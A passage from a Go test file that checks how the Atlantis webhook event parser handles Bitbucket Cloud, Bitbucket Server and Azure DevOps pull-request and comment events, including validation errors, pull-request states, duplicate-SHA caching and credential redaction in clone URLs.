parser.ParseBitbucketCloudPullCommentEvent([]byte(\"{}\"))\n\tErrContains(t, \"Key: 'CommentEvent.CommonEventData.Actor' Error:Field validation for 'Actor' failed on the 'required' tag\\nKey: 'CommentEvent.CommonEventData.Repository' Error:Field validation for 'Repository' failed on the 'required' tag\\nKey: 'CommentEvent.CommonEventData.PullRequest' Error:Field validation for 'PullRequest' failed on the 'required' tag\\nKey: 'CommentEvent.Comment' Error:Field validation for 'Comment' failed on the 'required' tag\", err)\n}\n\nfunc TestParseBitbucketCloudCommentEvent_CommitHashMissing(t *testing.T) {\n\tpath := filepath.Join(\"testdata\", \"bitbucket-cloud-comment-event.json\")\n\tbytes, err := os.ReadFile(path)\n\tOk(t, err)\n\temptyCommitHash := strings.ReplaceAll(string(bytes), `        \"hash\": \"e0624da46d3a\",`, \"\")\n\t_, _, _, _, _, err = parser.ParseBitbucketCloudPullCommentEvent([]byte(emptyCommitHash))\n\tErrContains(t, \"Key: 'CommentEvent.CommonEventData.PullRequest.Source.Commit.Hash' Error:Field validation for 'Hash' failed on the 'required' tag\", err)\n}\n\nfunc TestParseBitbucketCloudCommentEvent_ValidEvent(t *testing.T) {\n\tpath := filepath.Join(\"testdata\", \"bitbucket-cloud-comment-event.json\")\n\tbytes, err := os.ReadFile(path)\n\tOk(t, err)\n\tpull, baseRepo, headRepo, user, comment, err := parser.ParseBitbucketCloudPullCommentEvent(bytes)\n\tOk(t, err)\n\texpBaseRepo := models.Repo{\n\t\tFullName:          \"lkysow/atlantis-example\",\n\t\tOwner:             \"lkysow\",\n\t\tName:              \"atlantis-example\",\n\t\tCloneURL:          \"https://bitbucket-user:bitbucket-token@bitbucket.org/lkysow/atlantis-example.git\",\n\t\tSanitizedCloneURL: \"https://bitbucket-user:<redacted>@bitbucket.org/lkysow/atlantis-example.git\",\n\t\tVCSHost: models.VCSHost{\n\t\t\tHostname: \"bitbucket.org\",\n\t\t\tType:     models.BitbucketCloud,\n\t\t},\n\t}\n\tEquals(t, expBaseRepo, baseRepo)\n\tEquals(t, models.PullRequest{\n\t\tNum:        2,\n\t\tHeadCommit: \"e0624da46d3a\",\n\t\tURL:        \"https://bitbucket.org/lkysow/atlantis-example/pull-requests/2\",\n\t\tHeadBranch: \"lkysow/maintf-edited-online-with-bitbucket-1532029690581\",\n\t\tBaseBranch: \"main\",\n\t\tAuthor:     \"557058:dc3817de-68b5-45cd-b81c-5c39d2560090\",\n\t\tState:      models.ClosedPullState,\n\t\tBaseRepo:   expBaseRepo,\n\t}, pull)\n\tEquals(t, models.Repo{\n\t\tFullName:          \"lkysow-fork/atlantis-example\",\n\t\tOwner:             \"lkysow-fork\",\n\t\tName:              \"atlantis-example\",\n\t\tCloneURL:          \"https://bitbucket-user:bitbucket-token@bitbucket.org/lkysow-fork/atlantis-example.git\",\n\t\tSanitizedCloneURL: \"https://bitbucket-user:<redacted>@bitbucket.org/lkysow-fork/atlantis-example.git\",\n\t\tVCSHost: models.VCSHost{\n\t\t\tHostname: \"bitbucket.org\",\n\t\t\tType:     models.BitbucketCloud,\n\t\t},\n\t}, headRepo)\n\tEquals(t, models.User{\n\t\tUsername: \"557058:dc3817de-68b5-45cd-b81c-5c39d2560090\",\n\t}, user)\n\tEquals(t, \"my comment\", comment)\n}\n\nfunc TestParseBitbucketCloudCommentEvent_MultipleStates(t *testing.T) {\n\tpath := filepath.Join(\"testdata\", \"bitbucket-cloud-comment-event.json\")\n\tbytes, err := os.ReadFile(path)\n\tif err != nil {\n\t\tOk(t, err)\n\t}\n\n\tcases := []struct {\n\t\tpullState string\n\t\texp       models.PullRequestState\n\t}{\n\t\t{\n\t\t\t\"OPEN\",\n\t\t\tmodels.OpenPullState,\n\t\t},\n\t\t{\n\t\t\t\"MERGED\",\n\t\t\tmodels.ClosedPullState,\n\t\t},\n\t\t{\n\t\t\t\"SUPERSEDED\",\n\t\t\tmodels.ClosedPullState,\n\t\t},\n\t\t{\n\t\t\t\"DECLINED\",\n\t\t\tmodels.ClosedPullState,\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.pullState, func(t *testing.T) {\n\t\t\twithState := strings.ReplaceAll(string(bytes), `\"state\": \"MERGED\"`, fmt.Sprintf(`\"state\": \"%s\"`, c.pullState))\n\t\t\tpull, _, _, _, _, err := parser.ParseBitbucketCloudPullCommentEvent([]byte(withState))\n\t\t\tOk(t, err)\n\t\t\tEquals(t, c.exp, pull.State)\n\t\t})\n\t}\n}\n\nfunc TestParseBitbucketCloudPullEvent_ValidEvent(t *testing.T) {\n\tpath := filepath.Join(\"testdata\", \"bitbucket-cloud-pull-event-created.json\")\n\tbytes, err := os.ReadFile(path)\n\tif err != nil {\n\t\tOk(t, err)\n\t}\n\tpull, baseRepo, headRepo, user, err := parser.ParseBitbucketCloudPullEvent(bytes)\n\tOk(t, err)\n\texpBaseRepo := models.Repo{\n\t\tFullName:          \"lkysow/atlantis-example\",\n\t\tOwner:             \"lkysow\",\n\t\tName:              \"atlantis-example\",\n\t\tCloneURL:          \"https://bitbucket-user:bitbucket-token@bitbucket.org/lkysow/atlantis-example.git\",\n\t\tSanitizedCloneURL: \"https://bitbucket-user:<redacted>@bitbucket.org/lkysow/atlantis-example.git\",\n\t\tVCSHost: models.VCSHost{\n\t\t\tHostname: \"bitbucket.org\",\n\t\t\tType:     models.BitbucketCloud,\n\t\t},\n\t}\n\tEquals(t, expBaseRepo, baseRepo)\n\tEquals(t, models.PullRequest{\n\t\tNum:        16,\n\t\tHeadCommit: \"1e69a602caef\",\n\t\tURL:        \"https://bitbucket.org/lkysow/atlantis-example/pull-requests/16\",\n\t\tHeadBranch: \"Luke/maintf-edited-online-with-bitbucket-1560433073473\",\n\t\tBaseBranch: \"main\",\n\t\tAuthor:     \"557058:dc3817de-68b5-45cd-b81c-5c39d2560090\",\n\t\tState:      models.OpenPullState,\n\t\tBaseRepo:   expBaseRepo,\n\t}, pull)\n\tEquals(t, models.Repo{\n\t\tFullName:          \"lkysow-fork/atlantis-example\",\n\t\tOwner:             \"lkysow-fork\",\n\t\tName:              \"atlantis-example\",\n\t\tCloneURL:          \"https://bitbucket-user:bitbucket-token@bitbucket.org/lkysow-fork/atlantis-example.git\",\n\t\tSanitizedCloneURL: \"https://bitbucket-user:<redacted>@bitbucket.org/lkysow-fork/atlantis-example.git\",\n\t\tVCSHost: models.VCSHost{\n\t\t\tHostname: \"bitbucket.org\",\n\t\t\tType:     models.BitbucketCloud,\n\t\t},\n\t}, headRepo)\n\tEquals(t, models.User{\n\t\tUsername: \"557058:dc3817de-68b5-45cd-b81c-5c39d2560090\",\n\t}, user)\n}\n\nfunc TestParseBitbucketCloudPullEvent_States(t *testing.T) {\n\tfor _, c := range []struct {\n\t\tJSON     string\n\t\tExpState models.PullRequestState\n\t}{\n\t\t{\n\t\t\tJSON:     \"bitbucket-cloud-pull-event-created.json\",\n\t\t\tExpState: models.OpenPullState,\n\t\t},\n\t\t{\n\t\t\tJSON:     \"bitbucket-cloud-pull-event-fulfilled.json\",\n\t\t\tExpState: models.ClosedPullState,\n\t\t},\n\t\t{\n\t\t\tJSON:     \"bitbucket-cloud-pull-event-rejected.json\",\n\t\t\tExpState: models.ClosedPullState,\n\t\t},\n\t} {\n\t\tpath := filepath.Join(\"testdata\", c.JSON)\n\t\tbytes, err := os.ReadFile(path)\n\t\tif err != nil {\n\t\t\tOk(t, err)\n\t\t}\n\t\tpull, _, _, _, err := parser.ParseBitbucketCloudPullEvent(bytes)\n\t\tOk(t, err)\n\t\tEquals(t, c.ExpState, pull.State)\n\t}\n}\n\nfunc TestBitBucketNonCodeChangesAreIgnored(t *testing.T) {\n\t// lets say a user opens a PR\n\tact := parser.GetBitbucketCloudPullEventType(\"pullrequest:created\", \"fakeSha\", \"https://github.com/fakeorg/fakerepo/pull/1\")\n\tEquals(t, models.OpenedPullEvent, act)\n\t// Another update with same SHA should be ignored\n\tact = parser.GetBitbucketCloudPullEventType(\"pullrequest:updated\", \"fakeSha\", \"https://github.com/fakeorg/fakerepo/pull/1\")\n\tEquals(t, models.OtherPullEvent, act)\n\t// Only if SHA changes do we act\n\tact = parser.GetBitbucketCloudPullEventType(\"pullrequest:updated\", \"fakeSha2\", \"https://github.com/fakeorg/fakerepo/pull/1\")\n\tEquals(t, models.UpdatedPullEvent, act)\n\n\t// If sha changes in separate PR,\n\tact = parser.GetBitbucketCloudPullEventType(\"pullrequest:updated\", \"otherPRSha\", \"https://github.com/fakeorg/fakerepo/pull/2\")\n\tEquals(t, models.UpdatedPullEvent, act)\n\t// We will still ignore same shas in first PR\n\tact = parser.GetBitbucketCloudPullEventType(\"pullrequest:updated\", \"fakeSha2\", \"https://github.com/fakeorg/fakerepo/pull/1\")\n\tEquals(t, models.OtherPullEvent, act)\n}\n\nfunc TestBitbucketShaCacheExpires(t *testing.T) {\n\t// lets say a user opens a PR\n\tact := parser.GetBitbucketCloudPullEventType(\"pullrequest:created\", \"fakeSha\", \"https://github.com/fakeorg/fakerepo/pull/1\")\n\tEquals(t, models.OpenedPullEvent, act)\n\t// Another update with same SHA should be ignored\n\tact = parser.GetBitbucketCloudPullEventType(\"pullrequest:updated\", \"fakeSha\", \"https://github.com/fakeorg/fakerepo/pull/1\")\n\tEquals(t, models.OtherPullEvent, act)\n\t// But after 300 times, the cache should expire\n\t// this is so we don't have ever increasing memory usage\n\tfor i := range 302 {\n\t\tparser.GetBitbucketCloudPullEventType(\"pullrequest:updated\", \"fakeSha\", fmt.Sprintf(\"https://github.com/fakeorg/fakerepo/pull/%d\", i))\n\t}\n\t// and now SHA will seen as a change again\n\tact = parser.GetBitbucketCloudPullEventType(\"pullrequest:updated\", \"fakeSha\", \"https://github.com/fakeorg/fakerepo/pull/1\")\n\tEquals(t, models.UpdatedPullEvent, act)\n}\n\nfunc TestGetBitbucketCloudEventType(t *testing.T) {\n\tcases := []struct {\n\t\theader string\n\t\texp    models.PullRequestEventType\n\t}{\n\t\t{\n\t\t\theader: \"pullrequest:created\",\n\t\t\texp:    models.OpenedPullEvent,\n\t\t},\n\t\t{\n\t\t\theader: \"pullrequest:updated\",\n\t\t\texp:    models.UpdatedPullEvent,\n\t\t},\n\t\t{\n\t\t\theader: \"pullrequest:fulfilled\",\n\t\t\texp:    models.ClosedPullEvent,\n\t\t},\n\t\t{\n\t\t\theader: \"pullrequest:rejected\",\n\t\t\texp:    models.ClosedPullEvent,\n\t\t},\n\t\t{\n\t\t\theader: \"random\",\n\t\t\texp:    models.OtherPullEvent,\n\t\t},\n\t}\n\tfor _, c := range cases {\n\t\tt.Run(c.header, func(t *testing.T) {\n\t\t\t// we pass in the header as the SHA so the SHA changes each time\n\t\t\t// the code will ignore duplicate SHAS to avoid extra TF plans\n\t\t\tact := parser.GetBitbucketCloudPullEventType(c.header, c.header, \"https://github.com/fakeorg/fakerepo/pull/1\")\n\t\t\tEquals(t, c.exp, act)\n\t\t})\n\t}\n}\n\nfunc TestParseBitbucketServerCommentEvent_EmptyString(t *testing.T) {\n\t_, _, _, _, _, err := parser.ParseBitbucketServerPullCommentEvent([]byte(\"\"))\n\tErrEquals(t, \"parsing json: unexpected end of JSON input\", err)\n}\n\nfunc TestParseBitbucketServerCommentEvent_EmptyObject(t *testing.T) {\n\t_, _, _, _, _, err := parser.ParseBitbucketServerPullCommentEvent([]byte(\"{}\"))\n\tErrContains(t, `API response \"{}\" was missing fields: Key: 'CommentEvent.CommonEventData.Actor' Error:Field validation for 'Actor' failed on the 'required' tag`, err)\n}\n\nfunc TestParseBitbucketServerCommentEvent_CommitHashMissing(t *testing.T) {\n\tpath := filepath.Join(\"testdata\", \"bitbucket-server-comment-event.json\")\n\tbytes, err := os.ReadFile(path)\n\tif err != nil {\n\t\tOk(t, err)\n\t}\n\temptyCommitHash := strings.ReplaceAll(string(bytes), `\"latestCommit\": \"bfb1af1ba9c2a2fa84cd61af67e6e1b60a22e060\",`, \"\")\n\t_, _, _, _, _, err = parser.ParseBitbucketServerPullCommentEvent([]byte(emptyCommitHash))\n\tErrContains(t, \"Key: 'CommentEvent.CommonEventData.PullRequest.FromRef.LatestCommit' Error:Field validation for 'LatestCommit' failed on the 'required' tag\", err)\n}\n\nfunc TestParseBitbucketServerCommentEvent_ValidEvent(t *testing.T) {\n\tpath := filepath.Join(\"testdata\", \"bitbucket-server-comment-event.json\")\n\tbytes, err := os.ReadFile(path)\n\tif err != nil {\n\t\tOk(t, err)\n\t}\n\tpull, baseRepo, headRepo, user, comment, err := parser.ParseBitbucketServerPullCommentEvent(bytes)\n\tOk(t, err)\n\texpBaseRepo := models.Repo{\n\t\tFullName:          \"atlantis/atlantis-example\",\n\t\tOwner:             \"atlantis\",\n\t\tName:              \"atlantis-example\",\n\t\tCloneURL:          \"http://bitbucket-user:bitbucket-token@mycorp.com:7490/scm/at/atlantis-example.git\",\n\t\tSanitizedCloneURL: \"http://bitbucket-user:<redacted>@mycorp.com:7490/scm/at/atlantis-example.git\",\n\t\tVCSHost: models.VCSHost{\n\t\t\tHostname: \"mycorp.com\",\n\t\t\tType:     models.BitbucketServer,\n\t\t},\n\t}\n\tEquals(t, expBaseRepo, baseRepo)\n\tEquals(t, models.PullRequest{\n\t\tNum:        1,\n\t\tHeadCommit: \"bfb1af1ba9c2a2fa84cd61af67e6e1b60a22e060\",\n\t\tURL:        \"http://mycorp.com:7490/projects/AT/repos/atlantis-example/pull-requests/1\",\n\t\tHeadBranch: \"branch\",\n\t\tBaseBranch: \"main\",\n\t\tAuthor:     \"lkysow\",\n\t\tState:      models.OpenPullState,\n\t\tBaseRepo:   expBaseRepo,\n\t}, pull)\n\tEquals(t, models.Repo{\n\t\tFullName:          \"atlantis-fork/atlantis-example\",\n\t\tOwner:             \"atlantis-fork\",\n\t\tName:              \"atlantis-example\",\n\t\tCloneURL:          \"http://bitbucket-user:bitbucket-token@mycorp.com:7490/scm/fk/atlantis-example.git\",\n\t\tSanitizedCloneURL: \"http://bitbucket-user:<redacted>@mycorp.com:7490/scm/fk/atlantis-example.git\",\n\t\tVCSHost: models.VCSHost{\n\t\t\tHostname: \"mycorp.com\",\n\t\t\tType:     models.BitbucketServer,\n\t\t},\n\t}, headRepo)\n\tEquals(t, models.User{\n\t\tUsername: \"lkysow\",\n\t}, user)\n\tEquals(t, \"atlantis plan\", comment)\n}\n\nfunc TestParseBitbucketServerCommentEvent_MultipleStates(t *testing.T) {\n\tpath := filepath.Join(\"testdata\", \"bitbucket-server-comment-event.json\")\n\tbytes, err := os.ReadFile(path)\n\tif err != nil {\n\t\tOk(t, err)\n\t}\n\n\tcases := []struct {\n\t\tpullState string\n\t\texp       models.PullRequestState\n\t}{\n\t\t{\n\t\t\t\"OPEN\",\n\t\t\tmodels.OpenPullState,\n\t\t},\n\t\t{\n\t\t\t\"MERGED\",\n\t\t\tmodels.ClosedPullState,\n\t\t},\n\t\t{\n\t\t\t\"DECLINED\",\n\t\t\tmodels.ClosedPullState,\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.pullState, func(t *testing.T) {\n\t\t\twithState := strings.ReplaceAll(string(bytes), `\"state\": \"OPEN\"`, fmt.Sprintf(`\"state\": \"%s\"`, c.pullState))\n\t\t\tpull, _, _, _, _, err := parser.ParseBitbucketServerPullCommentEvent([]byte(withState))\n\t\t\tOk(t, err)\n\t\t\tEquals(t, c.exp, pull.State)\n\t\t})\n\t}\n}\n\nfunc TestParseBitbucketServerPullEvent_ValidEvent(t *testing.T) {\n\tpath := filepath.Join(\"testdata\", \"bitbucket-server-pull-event-merged.json\")\n\tbytes, err := os.ReadFile(path)\n\tif err != nil {\n\t\tOk(t, err)\n\t}\n\tpull, baseRepo, headRepo, user, err := parser.ParseBitbucketServerPullEvent(bytes)\n\tOk(t, err)\n\texpBaseRepo := models.Repo{\n\t\tFullName:          \"atlantis/atlantis-example\",\n\t\tOwner:             \"atlantis\",\n\t\tName:              \"atlantis-example\",\n\t\tCloneURL:          \"http://bitbucket-user:bitbucket-token@mycorp.com:7490/scm/at/atlantis-example.git\",\n\t\tSanitizedCloneURL: \"http://bitbucket-user:<redacted>@mycorp.com:7490/scm/at/atlantis-example.git\",\n\t\tVCSHost: models.VCSHost{\n\t\t\tHostname: \"mycorp.com\",\n\t\t\tType:     models.BitbucketServer,\n\t\t},\n\t}\n\tEquals(t, expBaseRepo, baseRepo)\n\tEquals(t, models.PullRequest{\n\t\tNum:        2,\n\t\tHeadCommit: \"86a574157f5a2dadaf595b9f06c70fdfdd039912\",\n\t\tURL:        \"http://mycorp.com:7490/projects/AT/repos/atlantis-example/pull-requests/2\",\n\t\tHeadBranch: \"branch\",\n\t\tBaseBranch: \"main\",\n\t\tAuthor:     \"lkysow\",\n\t\tState:      models.ClosedPullState,\n\t\tBaseRepo:   expBaseRepo,\n\t}, pull)\n\tEquals(t, models.Repo{\n\t\tFullName:          \"atlantis-fork/atlantis-example\",\n\t\tOwner:             \"atlantis-fork\",\n\t\tName:              \"atlantis-example\",\n\t\tCloneURL:          \"http://bitbucket-user:bitbucket-token@mycorp.com:7490/scm/fk/atlantis-example.git\",\n\t\tSanitizedCloneURL: \"http://bitbucket-user:<redacted>@mycorp.com:7490/scm/fk/atlantis-example.git\",\n\t\tVCSHost: models.VCSHost{\n\t\t\tHostname: \"mycorp.com\",\n\t\t\tType:     models.BitbucketServer,\n\t\t},\n\t}, headRepo)\n\tEquals(t, models.User{\n\t\tUsername: \"lkysow\",\n\t}, user)\n}\n\nfunc TestGetBitbucketServerEventType(t *testing.T) {\n\tcases := []struct {\n\t\theader string\n\t\texp    models.PullRequestEventType\n\t}{\n\t\t{\n\t\t\theader: \"pr:opened\",\n\t\t\texp:    models.OpenedPullEvent,\n\t\t},\n\t\t{\n\t\t\theader: \"pr:merged\",\n\t\t\texp:    models.ClosedPullEvent,\n\t\t},\n\t\t{\n\t\t\theader: \"pr:declined\",\n\t\t\texp:    models.ClosedPullEvent,\n\t\t},\n\t\t{\n\t\t\theader: \"pr:deleted\",\n\t\t\texp:    models.ClosedPullEvent,\n\t\t},\n\t\t{\n\t\t\theader: \"random\",\n\t\t\texp:    models.OtherPullEvent,\n\t\t},\n\t}\n\tfor _, c := range cases {\n\t\tt.Run(c.header, func(t *testing.T) {\n\t\t\tact := parser.GetBitbucketServerPullEventType(c.header)\n\t\t\tEquals(t, c.exp, act)\n\t\t})\n\t}\n}\n\nfunc TestParseAzureDevopsRepo(t *testing.T) {\n\t// this should be successful\n\trepo := azuredevopstestdata.Repo\n\trepo.ParentRepository = nil\n\tr, err := parser.ParseAzureDevopsRepo(&repo)\n\tOk(t, err)\n\tEquals(t, models.Repo{\n\t\tOwner:             \"owner/project\",\n\t\tFullName:          \"owner/project/repo\",\n\t\tCloneURL:          \"https://azuredevops-user:azuredevops-token@dev.azure.com/owner/project/_git/repo\",\n\t\tSanitizedCloneURL: \"https://azuredevops-user:<redacted>@dev.azure.com/owner/project/_git/repo\",\n\t\tName:              \"repo\",\n\t\tVCSHost: models.VCSHost{\n\t\t\tHostname: \"dev.azure.com\",\n\t\t\tType:     models.AzureDevops,\n\t\t},\n\t}, r)\n\n\t// this should be successful\n\trepo = azuredevopstestdata.Repo\n\trepo.WebURL = nil\n\tr, err = parser.ParseAzureDevopsRepo(&repo)\n\tOk(t, err)\n\tEquals(t, models.Repo{\n\t\tOwner:             \"owner/project\",\n\t\tFullName:          \"owner/project/repo\",\n\t\tCloneURL:          \"https://azuredevops-user:azuredevops-token@dev.azure.com/owner/project/_git/repo\",\n\t\tSanitizedCloneURL: \"https://azuredevops-user:<redacted>@dev.azure.com/owner/project/_git/repo\",\n\t\tName:              \"repo\",\n\t\tVCSHost: models.VCSHost{\n\t\t\tHostname: \"dev.azure.com\",\n\t\t\tType:     models.AzureDevops,\n\t\t},\n\t}, r)\n\n\t// this should be successful\n\trepo = azuredevopstestdata.Repo\n\trepo.WebURL = azuredevops.String(\"https://owner.visualstudio.com/project/_git/repo\")\n\tr, err = parser.ParseAzureDevopsRepo(&repo)\n\tOk(t, err)\n\tEquals(t, models.Repo{\n\t\tOwner:             \"owner/project\",\n\t\tFullName:          \"owner/project/repo\",\n\t\tCloneURL:          \"https://azuredevops-user:azuredevops-token@owner.visualstudio.com/project/_git/repo\",\n\t\tSanitizedCloneURL: \"https://azuredevops-user:<redacted>@owner.visualstudio.com/project/_git/repo\",\n\t\tName:              \"repo\",\n\t\tVCSHost: models.VCSHost{\n\t\t\tHostname: \"owner.visualstudio.com\",\n\t\t\tType:     models.AzureDevops,\n\t\t},\n\t}, r)\n\n\t// this should be successful\n\trepo = azuredevopstestdata.Repo\n\trepo.WebURL = azuredevops.String(\"https://dev.azure.com/owner/project/_git/repo\")\n\tr, err = parser.ParseAzureDevopsRepo(&repo)\n\tOk(t, err)\n\tEquals(t, models.Repo{\n\t\tOwner:             \"owner/project\",\n\t\tFullName:          \"owner/project/repo\",\n\t\tCloneURL:          \"https://azuredevops-user:azuredevops-token@dev.azure.com/owner/project/_git/repo\",\n\t\tSanitizedCloneURL: \"https://azuredevops-user:<redacted>@dev.azure.com/owner/project/_git/repo\",\n\t\tName:              \"repo\",\n\t\tVCSHost: models.VCSHost{\n\t\t\tHostname: \"dev.azure.com\",\n\t\t\tType:     models.AzureDevops,\n\t\t},\n\t}, r)\n}\n\nfunc TestParseAzureDevopsRepo_LowercasesOwner(t *testing.T) {\n\tparser := events.EventParser{\n\t\tAzureDevopsUser:  \"azuredevops-user\",\n\t\tAzureDevopsToken: \"azuredevops-token\",\n\t}\n\n\ttests := []struct {\n\t\turl      string\n\t\texpected string\n\t}{\n\t\t{\"https://dev.azure.com/MyCompany/project/_git/repo\", \"mycompany\"},\n\t\t{\"https://MYCOMPANY.visualstudio.com/project/_git/repo\", \"mycompany\"},\n\t\t{\"https://AnotherOrg.visualstudio.com/project/_git/repo\", \"anotherorg\"},\n\t}\n\n\tfor _, tt := range tests {\n\t\trepo := azuredevops.GitRepository{}\n\t\trepo.WebURL = azuredevops.String(tt.url)\n\t\trepo.ParentRepository = nil\n\t\trepo.Project = &azuredevops.TeamProjectReference{Name: azuredevops.String(\"project\")}\n\t\trepo.Name = azuredevops.String(\"repo\")\n\n\t\tr, err := parser.ParseAzureDevopsRepo(&repo)\n\t\tOk(t, err)\n\t\t// Only check the owner part\n\t\tparts := strings.Split(r.FullName, \"/\")\n\t\towner := parts[0]\n\t\tEquals(t, tt.expected, owner)\n\t}\n}\nfunc TestParseAzureDevopsPullEvent(t *testing.T) {\n\t_, _, _, _, _, err := parser.ParseAzureDevopsPullEvent(azuredevopstestdata.PullEvent)\n\tOk(t, err)\n\n\ttestPull := deepcopy.Copy(azuredevopstestdata.Pull).(azuredevops.GitPullRequest)\n\ttestPull.LastMergeSourceCommit.CommitID = nil\n\t_, _, _, err = parser.ParseAzureDevopsPull(&testPull)\n\tErrEquals(t, \"lastMergeSourceCommit.commitID is null\", err)\n\n\ttestPull = deepcopy.Copy(azuredevopstestdata.Pull).(azuredevops.GitPullRequest)\n\ttestPull.URL = nil\n\t_, _, _, err = parser.ParseAzureDevopsPull(&testPull)\n\tErrEquals(t, \"url is null\", err)\n\ttestEvent := deepcopy.Copy(azuredevopstestdata.PullEvent).(azuredevops.Event)\n\tresource := deepcopy.Copy(testEvent.Resource).(*azuredevops.GitPullRequest)\n\tresource.CreatedBy = nil\n\ttestEvent.Resource = resource\n\t_, _, _, _, _, err = parser.ParseAzureDevopsPullEvent(testEvent)\n\tErrEquals(t, \"CreatedBy is null\", err)\n\n\ttestEvent = deepcopy.Copy(azuredevopstestdata.PullEvent).(azuredevops.Event)\n\tresource = deepcopy.Copy(testEvent.Resource).(*azuredevops.GitPullRequest)\n\tresource.CreatedBy.UniqueName = azuredevops.String(\"\")\n\ttestEvent.Resource = resource\n\t_, _, _, _, _, err = parser.ParseAzureDevopsPullEvent(testEvent)\n\tErrEquals(t, \"CreatedBy.UniqueName is null\", err)\n\n\tactPull, evType, actBaseRepo, actHeadRepo, actUser, err := parser.ParseAzureDevopsPullEvent(azuredevopstestdata.PullEvent)\n\tOk(t, err)\n\texpBaseRepo := models.Repo{\n\t\tOwner:             \"owner/project\",\n\t\tFullName:          \"owner/project/repo\",\n\t\tCloneURL:          \"https://azuredevops-user:azuredevops-token@dev.azure.com/owner/project/_git/repo\",\n\t\tSanitizedCloneURL: \"https://azuredevops-user:<redacted>@dev.azure.com/owner/project/_git/repo\",\n\t\tName:              \"repo\",\n\t\tVCSHost: models.VCSHost{\n\t\t\tHostname: \"dev.azure.com\",\n\t\t\tType:     models.AzureDevops,\n\t\t},\n\t}\n\tEquals(t, expBaseRepo, actBaseRepo)\n\tEquals(t, expBaseRepo, actHeadRepo)\n\tEquals(t, models.PullRequest{\n\t\tURL:        azuredevopstestdata.Pull.GetURL(),\n\t\tAuthor:     azuredevopstestdata.Pull.CreatedBy.GetUniqueName(),\n\t\tHeadBranch: \"feature/sourceBranch\",\n\t\tBaseBranch: \"targetBranch\",\n\t\tHeadCommit: azuredevopstestdata.Pull.LastMergeSourceCommit.GetCommitID(),\n\t\tNum:        azuredevopstestdata.Pull.GetPullRequestID(),\n\t\tState:      models.OpenPullState,\n\t\tBaseRepo:   expBaseRepo,\n\t}, actPull)\n\tEquals(t, models.OpenedPullEvent, evType)\n\tEquals(t, models.User{Username: \"user@example.com\"}, actUser)\n}\n\nfunc TestParseAzureDevopsPullEvent_EventType(t *testing.T) {\n\tcases := []struct {\n\t\taction string\n\t\texp    models.PullRequestEventType\n\t}{\n\t\t{\n\t\t\taction: \"git.pullrequest.updated\",\n\t\t\texp:    models.UpdatedPullEvent,\n\t\t},\n\t\t{\n\t\t\taction: \"git.pullrequest.created\",\n\t\t\texp:    models.OpenedPullEvent,\n\t\t},\n\t\t{\n\t\t\taction: \"git.pullrequest.updated\",\n\t\t\texp:    models.ClosedPullEvent,\n\t\t},\n\t\t{\n\t\t\taction: \"anything_else\",\n\t\t\texp:    models.OtherPullEvent,\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.action, func(t *testing.T) {\n\t\t\tevent := deepcopy.Copy(azuredevopstestdata.PullEvent).(azuredevops.Event)\n\t\t\tif c.exp == models.ClosedPullEvent {\n\t\t\t\tevent = deepcopy.Copy(azuredevopstestdata.PullClosedEvent).(azuredevops.Event)\n\t\t\t}\n\t\t\tevent.EventType = c.action\n\t\t\t_, actType, _, _, _, err := parser.ParseAzureDevopsPullEvent(event)\n\t\t\tOk(t, err)\n\t\t\tEquals(t, c.exp, actType)\n\t\t})\n\t}\n}\n\nfunc TestParseAzureDevopsPull(t *testing.T) {\n\ttestPull := deepcopy.Copy(azuredevopstestdata.Pull).(azuredevops.GitPullRequest)\n\ttestPull.LastMergeSourceCommit.CommitID = nil\n\t_, _, _, err := parser.ParseAzureDevopsPull(&testPull)\n\tErrEquals(t, \"lastMergeSourceCommit.commitID is null\", err)\n\n\ttestPull = deepcopy.Copy(azuredevopstestdata.Pull).(azuredevops.GitPullRequest)\n\ttestPull.URL = nil\n\t_, _, _, err = parser.ParseAzureDevopsPull(&testPull)\n\tErrEquals(t, \"url is null\", err)\n\n\ttestPull = deepcopy.Copy(azuredevopstestdata.Pull).(azuredevops.GitPullRequest)\n\ttestPull.SourceRefName = nil\n\t_, _, _, err = parser.ParseAzureDevopsPull(&testPull)\n\tErrEquals(t, \"sourceRefName (branch name) is null\", err)\n\n\ttestPull = deepcopy.Copy(azuredevopstestdata.Pull).(azuredevops.GitPullRequest)\n\ttestPull.TargetRefName = nil\n\t_, _, _, err = parser.ParseAzureDevopsPull(&testPull)\n\tErrEquals(t, \"targetRefName (branch name) is null\", err)\n\n\ttestPull = deepcopy.Copy(azuredevopstestdata.Pull).(azuredevops.GitPullRequest)\n\ttestPull.CreatedBy = nil\n\t_, _, _, err = parser.ParseAzureDevopsPull(&testPull)\n\tErrEquals(t, \"CreatedBy is null\", err)\n\n\ttestPull = deepcopy.Copy(azuredevopstestdata.Pull).(azuredevops.GitPullRequest)\n\ttestPull.CreatedBy.UniqueName = nil\n\t_, _, _, err = parser.ParseAzureDevopsPull(&testPull)\n\tErrEquals(t, \"CreatedBy.UniqueName is null\", err)\n\n\ttestPull = deepcopy.Copy(azuredevopstestdata.Pull).(azuredevops.GitPullRequest)\n\ttestPull.PullRequestID = nil\n\t_, _, _, err = parser.ParseAzureDevopsPull(&testPull)\n\tErrEquals(t, \"pullRequestId is null\", err)\n\n\tactPull, actBaseRepo, actHeadRepo, err := parser.ParseAzureDevopsPull(&azuredevopstestdata.Pull)\n\tOk(t, err)\n\texpBaseRepo := models.Repo{\n\t\tOwner:             \"owner/project\",\n\t\tFullName:          \"owner/project/repo\",\n\t\tCloneURL:          \"https://azuredevops-user:azuredevops-token@dev.azure.com/owner/project/_git/repo\",\n\t\tSanitizedCloneURL: \"https://azuredevops-user:<redacted>@dev.azure.com/owner/project/_git/repo\",\n\t\tName:              \"repo\",\n\t\tVCSHost: models.VCSHost{\n\t\t\tHostname: \"dev.azure.com\",\n\t\t\tType:     models.AzureDevops,\n\t\t},\n\t}\n\tEquals(t, models.PullRequest{\n\t\tURL:        azuredevopstestdata.Pull.GetURL(),\n\t\tAuthor:     azuredevopstestdata.Pull.CreatedBy.GetUniqueName(),\n\t\tHeadBranch: \"feature/sourceBranch\",\n\t\tBaseBranch: \"targetBranch\",\n\t\tHeadCommit: azuredevopstestdata.Pull.LastMergeSourceCommit.GetCommitID(),\n\t\tNum:        azuredevopstestdata.Pull.GetPullRequestID(),\n\t\tState:      models.OpenPullState,\n\t\tBaseRepo:   expBaseRepo,\n\t}, actPull)\n\tEquals(t, expBaseRepo, actBaseRepo)\n\tEquals(t, expBaseRepo, 